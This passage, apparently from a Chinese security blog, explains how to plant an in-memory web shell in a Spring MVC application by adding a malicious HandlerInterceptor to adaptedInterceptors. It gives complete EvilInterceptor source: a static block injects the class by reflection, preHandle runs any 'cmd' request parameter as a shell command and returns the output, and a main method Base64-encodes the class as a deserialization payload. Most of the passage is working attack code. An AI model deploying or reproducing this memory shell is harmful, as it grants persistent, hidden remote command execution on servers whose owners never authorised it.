1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 protected HandlerExecutionChain getHandlerExecutionChain (Object handler, HttpServletRequest request) { HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ? (HandlerExecutionChain) handler : new HandlerExecutionChain (handler)); for (HandlerInterceptor interceptor : this .adaptedInterceptors) { if (interceptor instanceof MappedInterceptor) { MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; if (mappedInterceptor.matches(request)) { chain.addInterceptor(mappedInterceptor.getInterceptor()); } } else { chain.addInterceptor(interceptor); } } return chain; }
内存马实现 首先通过 getBean 方法从上下文中获取 RequestMappingHandlerMapping,这个就是前面分析中的 AbstractHandlerMapping 抽象类的实现类。
1 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
之后我们需要将恶意 Interceptor 添加到 RequestMappingHandlerMapping#adaptedInterceptors 中。
1 2 TestInterceptor evilInterceptor=new EvilInterceptor (); adtedinterceptors.add(evilInterceptor);
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.InputStream;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.Base64;import java.util.Scanner;public class EvilInterceptor extends AbstractTranslet implements HandlerInterceptor { static { try { WebApplicationContext applicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 ); AbstractHandlerMapping handlerMapping = applicationContext.getBean("requestMappingHandlerMapping" , AbstractHandlerMapping.class); Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors" ); adaptedInterceptors.setAccessible(true ); ((ArrayList<Object>) adaptedInterceptors.get(handlerMapping)).add(new EvilInterceptor ()); } catch (Exception ignored) { } } @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); } return true ; } public static void main (String[] args) { String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilInterceptor.class).getBytes()); System.out.println(b64.length()); System.out.println(b64); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }